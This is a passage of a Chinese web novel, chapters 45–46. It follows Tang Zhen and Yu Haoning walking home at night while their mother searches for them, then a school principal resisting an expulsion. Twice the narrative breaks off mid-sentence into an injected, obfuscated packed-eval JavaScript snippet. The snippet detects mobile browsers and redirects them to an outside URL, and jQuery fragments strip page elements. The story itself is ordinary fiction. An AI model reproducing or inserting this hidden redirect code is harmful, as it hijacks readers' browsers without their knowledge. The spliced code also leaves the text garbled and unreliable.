汤振好像觉得,心里的一根弦,突然被拨动了,哪怕他早已做好了心理准备。 原来,即使手段足够果断,即使谋局考虑周全,自己也不能像个英雄一样护住于浩宁和他的家人,更不能完美地复刻出第二个“于浩磊”。 养父的声音,又回响在汤振耳边: “呵,远离我,你以为你能跑得多远?” 养父残忍的嘲笑声,让汤振绝望地闭上了眼睛。 此时此刻,汤振觉得自己像一个见不得光的幽灵,只能沉默地低着头,把自己藏进走廊的阴影里。 凌晨一点半的冷风,穿过医院的大门,吹在单薄又沾着血迹的校服上。 汤振顺着安全通道的楼梯,一步,一步,走出了急诊大楼,麻木地站到了空荡荡的街道上,脑海里终于有了放弃的想法: 还是回家吧…… 还是坦白吧…… 还是继续逃亡吧…… 汤振机械地伸手,摸了摸口袋,才发现里面空空如也。 无论是手机还是钱包,都还在教室的书包里。 在这个漆黑的凌晨,汤振苦笑着,看了看漫天繁星。 汤振颓然地脱下校服,一阵冷风吹来,让他忽然想起上学期期末的那个夜晚: 那晚,于浩宁带他去了后山的天文台。 也是那晚,于浩宁拿着棉签,蘸了碘伏,轻轻涂抹在他受伤的脸上,对他说: “起风了,你把脸转过去一点,冷风直接吹在伤口上,会有一点痛。” …… 汤振的思绪被拉了回来,他转过身,迎着风的方向,任由刀剑般的冷风吹在他隐隐作痛的脸上。 拖着麻木的双腿,汤振面色苍白,朝几公里外那个温暖的家一步一步走去。 45.失控(下) 凌晨一点半。 浥鸣县城北医院外,绿化带的台阶上,几只夏虫已经提早发出了低低鸣叫。 不知道于浩宁在这里坐了多久,他终于缓慢将头抬起来,泛红的眼睛周围只剩下干涸的泪痕,疲惫的神色和单薄的身形让他看上去像是空洞的躯壳。 于浩宁双手撑着冰冷的水泥台阶,双腿因为长时间的蜷缩和紧绷而有些颤抖,踉跄地站起身,拖着沉重的步伐,一步一步挪到了空无一人的马路边,准备打车回家。 街道的另一头,偶然扫过两道明亮的车灯。 一辆亮着“空闲”指示灯的出租车,在深夜的街道上,孤单地朝城北医院的方向驶来。 于浩宁机械地抬起酸痛的右臂,冲着那两道灯光无力地挥了挥,这已经是他今晚招手拦下的第四辆出租车了。 “吱——” 出租车平稳刹停到于浩宁面前,副驾驶的车窗被摇下一半。 于浩宁麻木地伸出右手,握住车门上冰凉的金属把手。 就在准备拉开车门的短暂瞬间,于浩宁的左手下意识探进了裤兜,他的动作突兀地僵住了。 指尖触碰到的,只有那部因为没电而自动关机的手机。 于浩宁眼神一时变得慌乱,连忙又将右手伸进右边的裤兜,用力在深处掏了掏。 ——只剩了一些零钱。 于浩宁眼神失焦了片刻,他今晚坐了三趟出租车,身上的现金早已花差不多了。 “小伙子,走不走啊,大半夜的站着吹风么?”车窗里,夜班司机看着车门外的于浩宁,不耐烦地催促了一声。 于浩宁低下头,眉头微蹙,声音干涩地朝司机道:“不好意思,师傅……我,我又不打算坐车了。” 司机的脸色变得恼怒,瞥了于浩宁一眼,“莫名其妙,不坐车招什么手?耽误我拉活儿!” 说完,司机粗暴地升起车窗。 伴随一脚油门,发动机发出一声“轰”的声响,出租车迅速消失在了街道尽头。 人行道旁边,只留下了一团呛人的白色尾气,在路灯下缓慢地消散。 于浩宁安静地看着那辆车远去,没有反驳,也没有情绪。 街道两旁高大的行道树在夜风中沙沙作响,昏黄的路灯照在于浩宁凌乱的发丝上,他拉了拉肩膀上的书包,朝家的方向走去。 街道上,偶有几辆汽车驶过,引擎的轰鸣在寂静的凌晨夜色中留下深刻的痕迹。 于浩宁沿着人行道缓慢地走着,像一座移动的孤岛,从县城的北边,不起眼地往南边挪动着。 只是于浩宁不知道,在这同一时刻,在县城的另一个边缘,汤振也同样口袋空空地行走在另一条街道上。 模糊的夜色中,两条孤单的轨迹,在密网般的街道上跋涉,指向家的方向。 浥鸣县第二医院外侧的街道上,一辆轿车缓缓驶入停车场。 伴随着轮胎摩擦声,许艺岚将车停在了离门诊大楼入口最近的一个停车位上。 一个惯性的摇动后,许艺岚抽出钥匙,推开车门,跌跌撞撞地冲进了明亮的医院大厅,浓重的消毒水气息扑面而来。 许艺岚扑到导诊台前,双手扒住冰冷的大理石台面,头发已经彻底散乱,几缕湿透的碎发贴在脸颊上,胸口剧烈地起伏着,大口喘着粗气,“您好,请问……请问产房在几楼?” 导诊台护士连忙答道:“在三楼,您从那边的电梯上去……” 不等对方说完,许艺岚便冲进了刚好打开门的电梯。 来到三楼妇产科外,许艺岚又匆匆找到护士站。 “护士,护士,请问从二中送来的黎老师,在哪个病房?” 值班护士被突然出现的声音吓了一跳,连忙在电脑上查了一下,道:“您好,产妇黎烁现在已经脱离了危险,请问您是她的家属吗?” 许艺岚眼神涣散地摇摇头,“不是,我……我儿子是她的学生,听说今晚是我儿子陪黎老师来的,请问我儿子现在在哪?” 护士看了看走廊的方向,思索道:“今晚的确有一个穿着校服的男生陪产妇来医院,应该就是您儿子,但是……” “但是什么?”许艺岚焦急地看向护士。 “但是半个多小时前,您儿子已经离开医院了,现在我们也不知道他在哪里。”护士温和地解释道。 许艺岚脸色愁苦,“那,那他为什么要离开医院呢?” 护士一边回忆一边皱眉道:“好像是患者的丈夫和您儿子发生了矛盾,我们当时还去劝架了,但后来不知什么时候您儿子离开了医院。也许他是回家了呢,您要不先回家找找看?” 许艺岚疲惫地闭了闭眼,深吸了一口气,低低道:“那请问黎老师的病房在哪里呢?” 护士抿了抿嘴道:“产妇现在还不方便被陌生人探视,请您谅解。” 许艺岚似是想起了什么,又凑近问道:“等等,您刚才说,您只看到了一个男生吗?” 护士认真地点了点头。 “怎么会这样,”许艺岚皱眉道:“怎么会这样……我现在谁也联系不上。” 护士劝慰道:“或许您孩子的手机关机了呢,您两个儿子都是产妇的学生吗?” 许艺岚木讷地点了点头,“嗯。” 护士神色稍微缓和道:“那请您放心,既然是高中生,可能他们现在已经自己回家了。昨晚产妇刚被送来的时候情况确实比较紧急,我们也没太注意同行人员,非常抱歉,希望您谅解,但现在已经过了零点,您可以先回家看看,或者去几个您儿子可能会去的地方找找,实在不行的话,也可以考虑报警处理。” 许艺岚没有再说话,只是麻木地冲护士点了点头,“好的,谢谢,谢谢……” 从产房回停车场的短短几十米,许艺岚走得踉踉跄跄,她单薄的外套在凌晨两点的冷风中被吹起了衣角,背影透着一股仿佛随时都可能被彻底压垮的疲惫与无助。 拉开车门,许艺岚沉重地跌坐在驾驶座上,“砰”地一声关紧了车门。 外面微弱的风声也被车门隔绝开来,车内陷入了令人窒息的安静。 许艺岚颤抖地插上了车钥匙,却没有立刻拧动,只是颓然地向前倾倒,将布满疲惫的脸伏在了冰冷的方向盘上。 车窗外,停车场的灯光清晰地照亮了许艺岚脸上早已风干的泪痕。 在这个狭小又昏暗的空间里,许艺岚无精打采地趴在方向盘上,偶尔传出一两声鼻腔的吸气,就这样,一动不动,等待了五分钟。 仪表盘旁边,电子时钟无声地跳动着。 许艺岚缓慢地直起了身子,抬手按揉了几下太阳穴。 再次睁开眼睛,看向挡风玻璃外深不可测的黑夜,许艺岚眼底的空洞与无助渐渐散去,她拿出仪表盘下面的纸质地图,用笔在上面圈出了两家网吧,随后又圈出了浥鸣二中后山上的废弃天文台。 再次确认了一遍路线,许艺岚咬了咬牙,一把挂上了前进挡。 伴随着发动机的一声轰鸣,汽车在二院的停车场里甩过一个急弯,再次冲进了浥鸣县浓重的夜色之中。 许艺岚驾驶着汽车,在凌晨的街道上无助地穿梭着,她的双眼不停地看向空旷的人行道,企图寻找到两个熟悉的身影。 夜色中,一片寂静。 浥鸣县北边,于浩宁沉重的身影缓步往香樟大道挪去。 另一边,汤振迎着冷风的方向,低着头,走过一个又一个街头。 两条街道,在远处的一个路□□汇。 微弱的月光下,路边的连排房屋在路面上投下一片巨大的阴影。 夜风吹得路旁的树叶沙沙作响,汤振继续朝前方的交叉口走去。 风声里,还夹杂着另一个人的脚步声。 汤振终于走到了路口,另一个人的脚步声也停在了不远处。 低着头,汤振看见了脚下的人影,那人影被路灯拉得颀长。 顺着人影望过去,汤振也慢慢将头抬了起来,直到看清不远处默默站着的于浩宁。 两人就这样,隔着一个路口,静静望着彼此。 又一缕夜风吹来,将于浩宁凌乱的发丝轻轻扬起。 终于,汤振拉扯着麻木的嘴角,冲于浩宁强颜笑了笑,迈开步子,走了过去。 走到离于浩宁还剩一步的距离时,汤振停了下来,深吸一口气,问道: “怎么这么巧,又在这里遇见你了。” 于浩宁的眼神这才恢复一丝活力,他看了看四周,疲累地笑道: “好巧,这里是我们第一次偶遇的地方。” 汤振看向于浩宁的双眼,缓缓抬起右手,替他整理了一下被风吹乱的发丝,又擦了擦他眼底的泪痕。 于浩宁亦没再说什么,只是直直地盯着汤振,像是心里有许多话想说,但又没有开口。 像是兜兜转转大半年,在这张庞大的网里碰得头破血流,又狼狈地回到了这个原点。 周围的虫鸣打破了这一丝短暂的宁静。 汤振咽了一口唾沫,喑哑道:“对不起。” 于浩宁眼睛微动,却只是平静地转过身,和汤振并肩走着,声音里没有任何起伏:“有什么好对不起的?” “是我太自作聪明了,”汤振苦涩地笑道:“没想到被伍泓反咬一口,还害得自己被教导主任开除。” 于浩宁低低回应道:“教导主任也许只是一时气昏了头,反正监控、字迹和沈言峰的证词都在那里,等学校冷静下来查清楚了,事情……或许还有回转的余地。” 汤振看了看漆黑的天空,叹道:“但有一件事,始终无法回转。” 闻言,于浩宁顺势向汤振看去,目光停留在了汤振泛红的左脸上,“你……你的脸,怎么了?” 汤振摇了摇头,用手在脸上擦拭了一下,道:“黎老师老公打的。” “他怎么能打人呢?”于浩宁眼神里满是关切。 汤振咽了口唾沫,“无所谓了,就当是挨了一巴掌让我想清楚了吧。浩宁,我……我终究不是于浩磊,哪怕我穿上他的校服,哪怕我模仿他说话的语气,做事的动作,我也演不好他。我只是一个从小在泥沼里长大的人,不配拥有这么干净的家。” 于浩宁的身体轻微地僵了一下,步伐也慢了下来,他看向汤振的侧脸,问道:“那你……又要退回去,做回曾经的自己吗?” “我不想回去,”汤振仰起头,无奈地深吸了一口气,“但我也不想继续留在这里了,可能我的底色就是坏的吧,如果继续留下来,只会让你们陷入危险之中。” 于浩宁咬了咬干裂的嘴唇,眼底泛起了一丝复杂的神色,“哥,之前,我怪你做事太冲动,我嫌你演得不够好,容易穿帮。后来,我又觉得不能那么自私,应该允许你保留一点自己的底色。但为什么我这样想以后,你反而想走了……” “因为我担心,”汤振眼底闪过一丝不易察觉的恐惧,“我不是跟你说过吗,我又不是什么好人,万一我的仇家找上门来,岂不是平白无故把你和爸妈拉进泥潭里,我怕伤害了你们。” 于浩宁的目光看向远处的街头,应道:“但你也保护了很多人,不是么?” 汤振有些固执地侧过头,声音被夜风吹得破碎:“算了,我从头到尾就是个洗不白的坏人,之前想要演一个好人,是我痴心妄想了。” 于浩宁不再说话,任由风声代替自己的回答。 两人经过灯影昏黄的街头,往家的方向继续走去,往来的车辆发出刺耳的轰鸣,是夜色中最突兀的存在。 已是凌晨三点,许艺岚仍驾驶着车,穿梭在大街小巷之中。 许艺岚双眼熬得通红,几乎快要睁不开,但仍紧紧盯着挡风玻璃外深邃的景色,不敢松懈一丝一毫,跑遍地图上圈出来的地方,想要找到汤振和于浩宁的身影。 然而—— 来到第一间网吧。 没有。 来到第二间网吧。 也没有。 爬上学校后山的废弃天文台。 还是没有。 许艺岚颓然地坐了下来,坐在当初汤振和于浩宁待过的那个台阶上。 眼前,是一望无际的灯火,整个浥鸣县还在沉睡着。 许艺岚缓缓站起身,深一脚浅一脚地从后山走了下去,又重新回到车上,将山脚下的冷风关在了车门外。 许艺岚双手捂住脸,在安静狭小的车内,颤抖着肩膀,默默抽泣。 一分钟后,许艺岚深呼吸一口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600162|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将身子向后仰去,靠在了椅背上,她冷冷地抹了抹眼泪,再次发动了汽车。 将方向盘打了几个来回,许艺岚绕到了二中后街附近。 这里有一栋在建大楼,虽还未完工,但已经是附近最高的建筑了。 汽车停在了泥泞的工地外。 推开车门,许艺岚连手机也没拿,像一个失去灵魂的躯壳,顺着在建大楼粗糙的水泥台阶,一步一步,向上走去。 每往上走一层,风就猛烈一分。 终于,登上了顶楼空旷的平台。 凌晨四点,楼顶的风将单薄的外套吹得猎猎作响。 许艺岚麻木地将脸转向市中心的方向,颓然地坐在了粗糙水泥灰地面上。 整个浥鸣县此刻就在脚下,灯影幢幢,房屋鳞次栉比,遍布各处。 远处的天际线,似乎已经开始出现一缕鱼肚白。 许艺岚擦干了脸上的泪痕,没有大喊,也没有再流泪,她只是安静地坐着,坐在在建大楼的顶层,任由迎面的冷风肆虐扰乱她的头发。 在这个高耸到能俯瞰整座沉睡县城的楼上,许艺岚仿佛被一股庞大的无力感吞没,与无边无际的夜色融为一体。 同一片深邃的夜空下,老城区的主干道上,汤振和于浩宁正一步一步朝着熟悉的街道靠近。 终于,两人默契地在那扇门前停下了脚步。 草丛里,几声微弱的虫鸣隐隐传出。 看着汤振沉默地从口袋里摸出钥匙,于浩宁的喉结艰难地滑动了一下,“哥,你推开这扇门,进去后,就直接坦白你的身份吗?” 汤振捏着钥匙的手指在半空中短暂地停顿了一秒。 没有说话,只是在那盏极昏暗的声控灯下,缓慢却又极其沉重地,点了一下头。 “咔嗒。” 钥匙转动,防盗门被缓缓拉开。 迎接两人的是一片黑暗,许艺岚和于强的卧室门紧闭着,整个客厅一片漆黑的寂静。 汤振敏锐地皱起了眉头,借着门外的光线,目光扫过了玄关的鞋架,紧接着又转身看向了门外的小院。 “车不见了,咱妈的鞋也没在这里。”汤振的脸上闪过一丝强烈的错愕。 于浩宁大惊失色,“妈肯定是联系不上我们,一个人开车去外面找了。” 说完,连客厅的灯都来不及开,于浩宁慌乱地冲到电话旁,一把抓起座机听筒,用力地按下了许艺岚的手机号码。 “嘟——嘟——嘟——” 电话那头传来漫长冰冷的等待音,直到自动挂断。 于浩宁急得像热锅上的蚂蚁,又执拗地连拨三次,依旧无人接听。 当然,汤振和于浩宁还不知道,他们疯狂拨打的手机,此时此刻,正安静地躺在几公里外的车里。 车停在泥泞的工地外面,许艺岚则独自坐在楼顶,发丝微微扬起,双目无神地眺望着远方。 凌晨五点。 遥远的天际线,已经露出了一丝鱼肚白。 许艺岚眨了眨干涩发红的双眼,对着远方逐渐亮起的天空,长叹了一口气。 良久,许艺岚吃力地站了起来,沿着粗糙的水泥楼梯下了楼,重新拉开车门,坐在驾驶座上。 她空洞的目光不经意间扫过微亮的手机屏幕: [未接来电:家座机(4)] 在看清屏幕上那个熟悉的座机号码的瞬间,许艺岚原本僵硬的身体,像是触电一般迅速伸出了右手。 她慌乱又笨拙地用发抖的手指点开屏幕,连忙拨了回去。 “嘟——嘟——嘟——” 电话那头,迅速接起了听筒。 “妈!你在哪儿啊?”听筒里传来于浩宁带着重重鼻音的呼喊声。 这鲜活的声音,击碎了许艺岚强撑一整晚的坚硬的外壳,她的眼泪汹涌地砸在方向盘上,声音哽咽:“浩宁……浩宁,你和你哥去哪儿了,你们没事吧?” “妈,我们没事,今晚发生了很多事情,我们……我们现在已经到家了。” 于浩宁用力地吸了吸鼻子,强行压制住情绪,关切道: “妈,你慢点开,别着急,慢慢回来,我们在家等你。” 许艺岚捂着嘴,嗓音被压迫得极细:“好,好,妈妈马上就赶回去。” 许艺岚胡乱抹了一把眼泪,挂断了电话。 伴随着引擎的再次轰鸣,汽车在工地的泥浆中粗暴地甩过一个弯,像一支利箭,朝着远处驶去。 客厅里。 于浩宁沉重地放下座机听筒,缓慢转过头,看向次卧的方向。 黎明前的微光,从没拉严实的窗帘缝隙里透进来。 十分钟后。 伴随着拉链拉动的细微声音,汤振换回了大半年前初来时穿的那件衣服,右手拎着一个不算大的帆布包,沉默地站在次卧门口。 于浩宁颓然坐在客厅的沙发上,泛红的双眼看向了眼前随时准备融入黑暗的汤振。 “你想好了吗,”于浩宁声音沙哑:“你是不是真的要走?” 汤振放下帆布包,从次卧走了出来,站在了于浩宁的身前。 听到于浩宁的话,汤振的呼吸似乎也微弱地停滞了一秒,这个短暂的瞬间,好像连心脏也有一种硬生生撕裂的痛楚。 汤振抬手擦了擦鼻尖,将眼底压了压,“浩宁,谢谢你和你爸妈,你就……替我对他们说声‘对不起’吧。” 言毕,汤振低下头看了一眼坐在沙发上的于浩宁,准备转身走向次卧。 于浩宁头也没抬,却抬起手,精准地握住了汤振的左臂。 汤振身体一颤,低头看向抓住自己的那只手,指关节握得阵阵泛白。 于浩宁咬着嘴唇,侧过头去,将泛红的双眼转向另一边。 谁也没有再说话。 感受着手臂上那股温热的力量,汤振僵硬的身体在原地定住。 一秒,两秒。 最终,汤振咬紧了后槽牙,摇了摇头,还是迈开了步子,朝次卧走去。 汤振将自己的左臂硬生生从于浩宁的手里抽了出来,任由左臂上留下一道发红的痕迹。 在昏暗的晨光中,汤振走进了次卧,背对着于浩宁,将那个沉重的帆布包拎起。 46.各执一词 汤振将那个不算大的帆布包斜挎在肩膀上,目光扫过这个充满了生活气息的客厅,随后一步一步朝玄关走去。 就在汤振经过餐桌的瞬间,门外的院子里,突然传来车轮与路面剧烈摩擦的刹车声。 还没等汤振反应过来,伴随着“砰”的一声闷响,防盗门被人从外面一把拉开。 一阵带着凉意的晨风吹入客厅。 许艺岚气喘吁吁地站在门口,脸上毫无血色,发丝凌乱,单薄的外套上还沾着工地的水泥灰。 目光越过玄关,许艺岚那双布满血丝的眼睛看向餐桌旁的汤振,以及从沙发那边匆匆跑来的于浩宁。 一时无话。 许艺岚立刻冲上前去,紧紧抱住汤振和于浩宁,“浩磊,浩宁。” 甚至没来得及关门和换鞋,许艺岚便直接踩着客厅干净的地板,跌跌撞撞地冲了上去,用力将汤振和于浩宁抱进怀里,双臂不受控制地颤抖着。 许艺岚声音嘶哑道:“你们,在外面待了一整晚……冻坏了吧,冷不冷?” 不等回答,许艺岚便紧紧握住两人冰凉的手,含泪笑道:“我去给你们接两杯热水,暖暖身子。” 汤振一时间怔在原地,冷硬如铁的内心仿佛又被浸入了一汪温热的泉水,瞬间软得一塌糊涂。 于浩宁看了一眼,朝许艺岚道:“妈,我们不冷,刚走回来不久,还挺热的。” 汤振生涩地反握住许艺岚的手,脸上挤出一抹安抚的笑意,轻声道:“妈,对不起,让你担心了。” 许艺岚终于如释重负地长长呼出一口气,她笑着抹了抹眼角,温柔地捋了捋汤振额前的头发。 就在这时,许艺岚的目光落在了汤振的黑色帆布包上。 “怎么了,”许艺岚愣了一下,眼神微变,问道:“浩磊,你这大清早的,背着包打算去哪儿?” 汤振的呼吸轻微地停顿了半秒,将帆布包往身拉了拉,语气平稳道:“哦,我刚才看您一直没回来,正收拾了点东西,打算出去找找,正好……也快上课了不是。” “傻孩子,浥鸣县这么大,你要怎么找呢,”许艺岚心疼地拍了拍汤振的胳膊,“快回屋把包放下。” “好,”汤振顺从地点了点头,转身走进了次卧,“咔嗒”一声关上了房门。 背靠着冰冷的木门,汤振闭上眼睛,深深地吸了一大口清晨的空气。 是啊,浥鸣县这么大,要怎么找呢? 汤振想象不出,在过去的几个小时内,许艺岚到底去了哪些地方,到底经历了怎样的心理煎熬,却还能轻松地说出那句话。 独自一个人靠在冰凉的门上,汤振站在次卧里,静静地望着窗外的天空,黎明前的一抹淡蓝缓缓爬上厚厚的云层。 两分钟后,汤振将那个帆布包从肩上取了下来,扔进了衣柜最深处,褪下那身旧衣服,重新换上了带着洗衣液清香的睡衣。 等再次打开卧室门,走向客厅时,汤振身上那股决绝的戾气已经彻底散去,变回了温顺的模样。 客厅里,于浩宁去玄关将防盗门关上,蹲在地上,将许艺岚刚才慌乱踢换下的鞋整齐地摆进鞋柜里。 许艺岚则独自一人站在饮水机旁,手里拿着一个玻璃杯,另一个玻璃杯正放在热水出水口下方。 或许是因为熬了一整个通宵,许艺岚的双手不受控制地微微发抖。 “哗啦——” 就在水杯即将接满的瞬间,一小股滚烫的开水直接溢出了杯口,浇在了许艺岚右手虎口上。 “咝……”许艺岚痛苦地倒吸了一口凉气,手一哆嗦,水杯险些掉下。 “妈,小心!” 汤振的瞳孔骤然一闪,箭步冲上前,接过许艺岚手里的水杯,稳稳放在桌上。 紧接着,汤振拿出烫伤膏,轻轻涂抹在许艺岚右手泛红的地方。 “妈,我们自己接水就行,您先去休息吧。”于浩宁将身子凑了过来,看着那块刺眼的红斑,眉头紧紧锁在一起,眼底满是心疼。 “没事,没事,”许艺岚笑了笑,“妈就是太笨了。” 涂完药,汤振将许艺岚扶到卧室门口,“妈,您别忙活了,赶紧休息吧,我和浩宁待会儿随便弄点吃的,就去学校了。” 许艺岚抬手揉了揉眉心,“好,妈现在就去休息,但你们先给班主任请半天假吧,一晚上没睡,都好好休息一下。” 说完,许艺岚又拍了一下自己的额头,叹了口气道:“不对,给教导主任发短信请假吧。你们班主任现在还在医院呢。” 听到这句话,汤振和于浩宁默契地对视一眼,沉默半晌,又同时点头答应了下来。 于浩宁似是没忍住,问道:“妈,您晚上见到黎老师了吗?” 许艺岚摇摇头,“没见到,但听值班护士说,你们黎老师没什么大碍,已经从产房出去了,母女平安。” 两人都同时松了口气,小心翼翼地将许艺岚安顿回主卧休息。 汤振和于浩宁这才疲惫地走进次卧,各自在柔软的床上躺了下来。 天色已经染上一片淡蓝,朦胧的晨曦洒进房间。 于浩宁侧过头,看着对面床上盯着天花板发呆的汤振。 “哥,”于浩宁小声地打破了沉默,问道:“你……还会继续留下来吗?” 汤振没有转头,只从鼻腔里发出了一声无力的“嗯”。 听到这个肯定的答复,于浩宁紧绷了一晚上的神色终于放松了下来,但紧接着又道:“我是不是太自私了?让你不得不继续留下来陪着我。” “别胡思乱想了,”汤振平静地打断了他的话,缓缓转过头,眼睛里透着沧桑的坚定与释然,“没有什么自私不自私,这是我自己做出的选择。人生如棋,落子无悔。” 说完,汤振又重新看向天花板,缓缓闭上了眼睛。 于浩宁也没有再说什么,点了点头,浅浅睡了过去。 次卧里,再次陷入安稳的宁静。 但汤振的心里,思绪却如汹涌的海浪般翻滚。 闭上眼,汤振脑海中全是许艺岚颤抖泛红的手,以及她充满疲惫和满足的拥抱,他心里忽然想着: 如果,如果不再逃避,不再伪装呢? 在天空渐渐泛白的清晨,汤振心里第一次萌生出一个念头——自首。 在繁杂的思绪中,汤振渐渐进入了梦境。 清晨七点半。 浥鸣二中的校园里,渐渐传出了朗朗读书声。 仲春的阳光穿透博学楼的百叶窗,将一道道光斑投射在校长办公室的实木办公桌上。 办公室里的气氛冷如冰霜。 教导主任站在离门口不远的位置,神色紧绷着,低沉道:“校长,昨天傍晚的事情特别恶劣。” 校长不耐烦地摇了摇头,“我知道,我知道!你从进门一直在说这个事,到底要怎样?” 教导主任深吸一口气,掷地有声:“于浩磊和伍泓,这两个学生,无论如何都必须开除,否则学校的纪律……” 话音未落—— “砰砰砰。” 门外突然传来一阵急促而不合规矩的敲门声。 还没等到校长的回应,办公室的门便被粗暴地一把推开。 只见申雅丽和沈言峰喘着粗气冲进办公室,两人的校服上还带着清晨的寒气。 “你们两个干什么?早自习不在教室读书,跑来校长办公室捣乱!”教导主任眉头拧在一起,大声呵斥。 申雅丽没有退缩,大步上前,将一部智能手机举起,屏幕朝着校长,直接点了播放键。 “校长,主任,昨天傍晚的事,真不怪于浩磊,”申雅丽的声音有些发抖,气息焦急道:“当时事发突然,这是我拍到的视频。校长,主任,你们仔细看,是伍泓拉着于浩磊的手撞向自己的,动作很刻意。” 视频里,那有些模糊的画面和声音,在安静的办公室里循环播放着。 申雅丽努力调整着呼吸,声音颤抖道:“伍泓肯定是自己摔下去的,故意砸到黎老师身上,就是想陷害于浩磊。” 沈言峰也抬起头说道:“校长,我上学期作弊确实不对,但都是受了伍泓的威胁,于浩磊也帮了我很多,他在广播里对伍泓的指控,全都是我亲身经历的事情,他没有寻衅滋事。校长,您能不能……能不能别开除于浩磊。” 看着申雅丽手上的视频,教导主任严厉的眼神瞬间变了变。 申雅丽捕捉到了教导主任的微表情,于是收起了手机,低下头道:“对不起,我不应该偷偷带手机来,是我违反了校规,我愿意接受惩罚。但我如果不作证,您就会冤枉于浩磊。所以……” 校长的脸上闪过一丝僵硬与尴尬,轻轻咳了两声,目光在申雅丽的脸上扫过,笑道:“你是……高三那个申雅丽吧?年级第二。” 申雅丽抬眼看了看校长,缓缓点头,“是,校长。” 校长脸上挤出一丝和蔼的微笑,“没事,没事,尖子生嘛,带手机也不影响学习。至于伍泓和于浩磊,我还没说一定要开除谁呢。你俩就先回教室,安心学习吧。” 申雅丽和沈言峰对视了一眼,眼底的焦虑似乎也稍微退去了一些,便顺从地退出了办公室,关上房门。 “咔嗒。” 教导主任走过去将办公室的门锁上,她转过身,目光锐利看着校长,不解地问道:“您刚才说,您还没决定要开除谁。请允许我问一句,从早上我进来开始,您为什么一直这么抗拒开除学生?” 校长收起了脸上的笑容,烦躁地把转椅后面的文件拿了出来,扔在了办公桌上。 “你脑子怎么就不转弯呢,”校长把实木桌子敲得震天响,说道:“今年6月17号,上级领导要来咱们学校进行每年一次的视察。咱们二中,可是浥鸣县家喻户晓的示范中学。” 教导主任的眼角轻微抖动了一下,“示范中学?所以呢?” “所以,我们学校建校这么多年,从来就没有出现过开除学生的事情,一个也没有!”校长郑重其事地答道。 “但您别忘了,”教导主任话锋一转:“您别忘了上学期的期末考试,被迫协助作弊的沈言峰受到的就是警告处分。” 教导主任又提高了音量,继续道:“虽然当时不知内情,但作弊只受警告处分已经不算严厉了,现在知道了内情,知道了幕后主使,还闹出了这么大的事,您还不严厉一点吗?” “那你觉得怎么才算严厉?”校长冷淡地反问道。 “我没有权力做主,”教导主任胸口剧烈起伏,字字铿锵有力:“我提起上学期的事情,只是给您做个参考。不知道您是否还记得,上学期开学的作文大赛抄袭事件,当时就没对伍泓进行严肃处理,只是没发奖学金而已。但这次,伍泓不仅组织作弊,还伙同校外人员霸凌和威胁同学,甚至拿孕妇的性命开玩笑,性质非常恶劣!” 校长嘴角微动,眼神从教导主任脸上挪开,坐到了转椅上,静静听着。 教导主任用力一挥手,掷地有声道:“校长,昨天傍晚的事情,学校没报警都已经是仁慈了,这次无论如何您都得把伍泓开除。至于于浩磊,既然视频证明确实是误会,那不惩罚他也行。” 清茶缓缓倒入杯中,顿时热气升腾。 校长饮了一口茶,淡淡道:“都只是学生的一面之词,除了视频,你有什么确凿的物证证明伍泓做了那些事?” 话说到一半,校长又敷衍地摆了摆手,“你一腔热血地说,伍泓拿老师的性命开玩笑,也只不过是通过一个模糊的视频自己揣测罢了,你怎么能肯定伍泓当时的动机?” “您这根本就是强词夺理。”教导主任脸色铁青。 “叮铃——叮铃——” 就在这时,办公桌上的座机突兀地响了起来。 校长看了一眼来电显示的号码,便按下了免提键。 电话那头传来一个男性的声音:“您好,请问是校长吗?” 校长又确认了一遍来电显示,远远对着座机道:“是,您是黎老师的丈夫吗?” “是是是,”电话那头答道:“我是想打电话告诉您一声,黎烁这边母女平安。昨晚可把我们吓坏了,医生说黎烁只是受了惊吓和撞击,还好没伤到孩子,孩子早产了一个多月,现在还在观察中。” 校长敏锐地抬眉,朝教导主任看了一眼。 教导主任立刻朝前跨了一大步,对着电话大声道:“黎老师人没事就好,但伍泓恶劣的动机……” “啪——” 教导主任还没说完,校长便迅速挂断了电话。 办公室里顿时安静了足足五秒钟。 教导主任不可思议地瞪大了眼,“校长,你这是干什么?” “我干什么?我告诉你,在这个节骨眼上,绝对不能开除任何学生,”校长用力一拍桌子,吼道:“更何况,伍泓还是两个月后就要参加高考的年级第一名。” “这是两码事,”教导主任双手握拳,“您为什么就不能听取我的想法和建议?” 校长嘲弄地冷笑道:“你有时间在这里说这些天真的想法,还不如好好想想6月17号要怎么应付上级领导的视察呢。” 说完,校长又缓缓闭了闭眼,拿起茶杯,嘬了一小口。 教导主任的发丝被朝阳照得泛光,她厉声问道:“那您把伍泓留在学校,就不怕他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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教导主任缓慢地从校长办公室里退了出来,轻轻拉上了那扇厚重的门。 站在走廊里,教导主任调整了一下呼吸节奏,随后用力地抹了一把脸,迈开脚步,径直走到了安保值班室门前。 “李队。”教导主任敲了敲敞开的门。 保安队长从值班室里走到门口,“潘主任,什么事情?” 教导主任的语气里透着一股强硬的紧绷感:“李队,你今天上午立刻带人去采购一批摄像头,在楼梯间、走廊转角,还有其他你能想到的监控死角,全都装上监控,绝对不能再出现昨天傍晚那种查无对证的事情。” “好,好,潘主任,我马上让人去办。”保安队长被教导主任严厉的脸色吓了一跳,连忙点头。 交代完这看似亡羊补牢的补救措施,教导主任释然地松了一口气,但依旧颓然地转过身,朝教学楼走去。 教学楼下,教导主任的目光被一辆垃圾清运车吸引住,不知何时,这辆车突然出现了在这里。 行至楼上的走廊,教导主任双手撑在冰冷的栏杆上,目光空洞地望着对面的考务办公室,那里存放着学校以往期末考试的试卷和答题卡。 